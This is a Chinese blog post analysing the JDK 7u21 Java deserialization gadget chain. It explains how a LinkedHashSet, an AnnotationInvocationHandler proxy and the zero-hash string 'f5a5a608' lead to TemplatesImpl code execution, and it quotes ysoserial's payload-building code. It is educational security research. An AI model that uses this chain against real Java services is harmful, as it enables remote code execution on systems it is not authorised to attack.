JDK原生反序列化利用链7u21

前言

JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单~

7u21 要求你能理解:

  • TemplatesImpl 代码执行原理
  • 动态代理是什么
  • AnnotationInvocationHandler 利用原理

其实7u21是对AnnotationInvocationHandler 的进一步挖掘。

调用链

  • HashSet.readObject()
  • map.put(k,v)。(k为代理对象)
  • k.equals(last_k) (last_k 为上一个put的元素)
  • k.equalImpl(). (触发恶意invoker)
  • 反射执行 last_k.任意方法 (last_k 为恶意TemplatesImpl 即可代码执行)

image-20210927111332379

简单描述就是:

LinkedHashSet 在反序列化初始化时会将对象重新一个一个put进内部数据结构table中,如果put的两个元素的key的hash一样,则要进行进一步的判断,要调用后放入元素的equal方法去对比前面元素的值,而如果这个后面元素的key恰好是一个经过AnnotationInvocationHandler包装的Templates动态代理对象,则在进行put时候会分别调用 AnnotationInvocationHandler 的hashImpl和equlImpl,恰好因为hashImpl 的计算会最终调用到equlImpl,通过equlImpl中的var5.invoke() ,反射执行Templates 的newTransformer方法,进而导致代码执行。

我们来看下yso的代码:

public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object return set; }

最终的目标是要调用EvilTemples的newTransformer方法,在AnnotationInvocationHandler 中有个equalsImpl 方法:

private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } }

抛开干扰代码存在一个反射执行的方法:

Method[] var2 = this.getMemberMethods(); for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { .... }else{ var8 = var5.invoke(var1); }

其中getMemberMethods 来自type的所有方法:

image-20210926203620761

那意思就是equalsImpl能够触发一个传入对象x的恶意方法,有没有存在一个这样的对象呢,当然是有的,那就是 TemplatesImpl,TemplatesImpl.newTransformer()和getOutputProperties() 都可以触发恶意代码执行,其中asOneOfUs判断是不是动态代理的class,所以只要保证var1 不是动态代理就ok。

所以我们就需要把type设置为TemplatesImpl,var1 也为TemplatesImpl对象即可,var1也即hashset的旧元素,为了能触发恶意invoker,所以hashset的第二个元素要为一个经过AnnotationInvocationHandler包装的对象。

也就是:

image-20210927185043978

步骤很清晰,有了前面几篇文章的基础后没必要再分析TemplatesImpl和AnnotationInvocationHandler利用过程了,重点看下以下几个问题

疑问

image-20210927191515100

  1. 上图为Hashset put的源码,为了要执行euqals,就要保证map的两个key hash一致,且两个key不想等,key分别为templates和proxy,是两个不同的对象,两个hash是如何保持一致的?
  2. hash为0的字符串的作用是啥?
  3. 为什么要用LinkedHashSet,直接用HashSet行不行?

1. 两个不相等的对象如何保证hashset.hash()后结果一致?

在7u21的反序列化执行载体hashset中,添加了两个元素,一前一后分别是templates和proxy,虽然proxy对象是经过AnnotationInvocationHandler包装的Templates 代理对象,但这两个对象是不相等的,为了能执行后续步骤,让流程执行到for循环下的if预计又必须保证两个对象的hashcode一致才能进一步执行到euqals方法。

image-20210927192352475

如果只是普通的两个Temples对象那必然是不相等的,但第二个元素proxy经过AnnotationInvocationHandler包装的Templates对象,当proxy执行hashcode时,会直接执行handler.invoker函数:

image-20210927192702088

同时,判断执行方法为hashcode则会跳转到hashCodeImpl方法:

image-20210927192916023

跳转到hashCodeImpl 时我们发现,关于proxy的hashcode计算已经和proxy本身没有关系了,私有变量memberValues是一个map对象,图片中的1会进行迭代,取出其中元素key和value 分别调用hashcode()进行异或运算然后乘以127 得到最后prxoy的hashcode值。

所以为了让prxoy和templates 的hashcode一致,我们只要 构造一个map,使其满足:

127 * key.hashcode ^ value.hashcode === templates.hashcode

这里顺便解释了:

hash为0的字符串的作用是啥?

那我们可以找到,因为对象的hashcode都是取的内存地址做一定的取整运算得到,所以如果硬凑两个不相等对象做异或会很复杂,结果必然不固定,所以我们直接令 key.hashcode=0 127*key.hashcode 也就为0,让value 直接等于templates 即可让 proxy的hashcode等于templates,而f5a5a608 的hashcode就为0,所以这个map为:

map.put("f5a5a608",templates)

这样就满足了对象不相等,但hashcode却是一样的结果,也就能进行到euqals方法触发temples.newTransformer() 方法。

为什么要用LinkedHashSet,直接用HashSet行不行?

LinkedHashSet内部的数据结构是基于hashmap,所以理论上HashSet、LinkedHashMap、hashmap都可以,但因为类似我上面讲的欢迎,对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。

我自己也做过实验,使用hashmap作为载体会存在偶然无法代码执行的情况,所以为了保证稳定性可以使用带顺序的LinkedHashSet、或者LinkedHashmap,LinkedHashmap value设置为相同的内置基本类型即可。

image-20210927202217545

结语

由名字可知,jdk7u21 只能用于7u21以下的版本,因为在高版本中,在handler euqalmpl 中增加了对 传入对象可执行方法对判断,不能像过去一样执行任意方法:

image-20210927204320413

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!


__EOF__

本文作者9eek
本文链接https://www.cnblogs.com/9eek/p/15345211.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   9eek  阅读(778)  评论(4编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示